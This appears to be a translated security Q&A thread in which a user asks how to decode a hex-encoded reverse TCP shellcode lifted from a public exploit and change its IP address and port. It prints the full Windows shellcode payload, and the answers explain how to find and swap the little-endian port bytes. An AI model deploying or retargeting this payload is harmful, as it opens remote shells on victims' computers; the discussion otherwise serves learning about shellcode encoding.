Cum să decodificați codul hexagonal și să îl modificați? Binascii.unhexlify [închis] (Securitatea informațiilor, Exploit, Python, Inginerie Inversă, Shellcode)

K4rt a intrebat.

Analizez codul găzduit la edb și porțiunea pe care încerc să o înțeleg și să o modific este la linia 78

reversetcp_shellcode = binascii.unhexlify(b'fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d49be7773325f3332000041564989e64881eca00100004989e549bc02000539c0a87d8541544989e44c89f141ba4c772607ffd54c89ea68010100005941ba29806b00ffd550504d31c94d31c048ffc04889c248ffc04889c141baea0fdfe0ffd54889c76a1041584c89e24889f941ba99a57461ffd54881c44002000049b8636d640000000000415041504889e25757574d31c06a0d594150e2fc66c74424540101488d442418c600684889e6565041504150415049ffc0415049ffc84d89c14c89c141ba79cc3f86ffd54831d248ffca8b0e41ba08871d60ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd5')

Am importat binascii în python și am încercat să fac inginerie inversă a codului, iar rezultatul a fost:

'xfcHx83xe4xf0xe8xc0x00x00x00AQAPRQVH1xd2eHx8bR`Hx8bRx18Hx8bR Hx8brPHx0fxb7JJM1xc9H1xc0xac<a|x02, Axc1xc9rAx01xc1xe2xedRAQHx8bR x8bB<[email protected] Ix01xd0xe3VHxffxc9Ax8b4x88Hx0[email protected][email protected]^YZAXAYAZHx83xec ARxffxe0XAYZHx8bx12xe9Wxffxffxff]Ixbews2_32x00x00AVIx89xe6Hx81xecxa0x01x00x00Ix89xe5Ixbcx02x00x059xc0xa8}x85ATIx89xe4Lx89xf1AxbaLw&x07xffxd5Lx89xeahx01x01x00x00YAxba)x80kx00xffxd5PPM1xc9M1xc0Hxffxc0Hx89xc2Hxffxc0Hx89xc1Axbaxeax0fx[email protected]x02x00x00Ixb8cmdx00x00x00x00x00APAPHx89xe2WWWM1xc0jrYAPxe2xfcfxc7D$Tx01x01Hx8dD$x18xc6x00hHx89xe6VPAPAPAPIxffxc0APIxffxc8Mx89xc1Lx89xc1Axbayxcc?x86xffxd5H1xd2Hxffxcax8bx0eAxbax08x87x1d`xffxd5xbbxf0xb5xa2VAxbaxa6x95xbdx9dxffxd5Hx83xc4(<x06|
x80xfbxe0ux05xbbGx13rojx00YAx89xdaxffxd5'

Există caractere extraterestre mai sus. Mai este considerat hexagonal? Și, dacă aș vrea să folosesc alte adrese IP și PORT, cum aș putea face conversia necesară?

Comentarii

  • La ce vă referiți prin „caractere străine”? –  > Por Arminius.
  • Aceștia sunt octeți, nu caractere. O codificare de caractere traduce octeții în caractere. Se întâmplă acum ca unii dintre acești octeți, cei de tip x??x, să nu aibă nicio semnificație în ASCII, codificarea implicită din Python. // Știu că sunt câteva inexactități în acest comentariu, dar hei, e doar un comentariu. –  > Por Oskar Skog.
  • Decodificarea a fost realizată cu succes. Python face acest lucru doar cu șirurile binare. În cazul în care print o faceți, va arăta diferit (și s-ar putea să vă încurce terminalul). –  > Por Oskar Skog.
  • @OskarSkog, este în regulă. dar dacă vreau să o modific, cum fac acea sarcină utilă? De exemplu, msfvenom are vreun encoder care face asta pentru mine, astfel încât să pot schimba doar payload-ul? –  > Por K4rt.
1 răspunsuri
Ron Bowes

Motivul pentru care vedeți caractere străine este că afișează caracterele hexazecimale atunci când trebuie („xfc”, de exemplu), și ASCII atunci când poate fi mapat (deci „H” imediat după este acolo în loc de „x48”). Așadar, nu este hexagonal pur – este un șir ASCII cu caracterele non-ASCII codificate hexagonal.

Adresa IP și portul sunt codificate acolo? Probabil că le puteți găsi în șirul hexazecimal original, înainte de a încerca să le decodificați, și să le modificați.

Țineți minte doar că sunt probabil codificate ca little endian. În mod normal, atunci când scriu shellcode, folosesc un port în care nu contează endianul, cum ar fi 0x1313 sau 0x6666. Dar asta e doar lene! Dacă doriți să găsiți și să înlocuiți numărul lor de port, dacă acesta este, de exemplu, 4444 (0x115c), probabil că veți dori să căutați „5c11” (little endian) și să îl înlocuiți cu portul dorit (cum ar fi 0x6666 sau altceva).

Comentarii

  • Foarte interesant, nu știam că pot modifica pur și simplu hexagonul în cadrul încărcăturii utile și să o fac să funcționeze. Ai ști cum să creezi un payload msf de la zero pe care să îl pot schimba cu acesta în exploit? De asemenea, schimbarea IP-ului și a portului din hexcode are întotdeauna succes? –  > Por K4rt.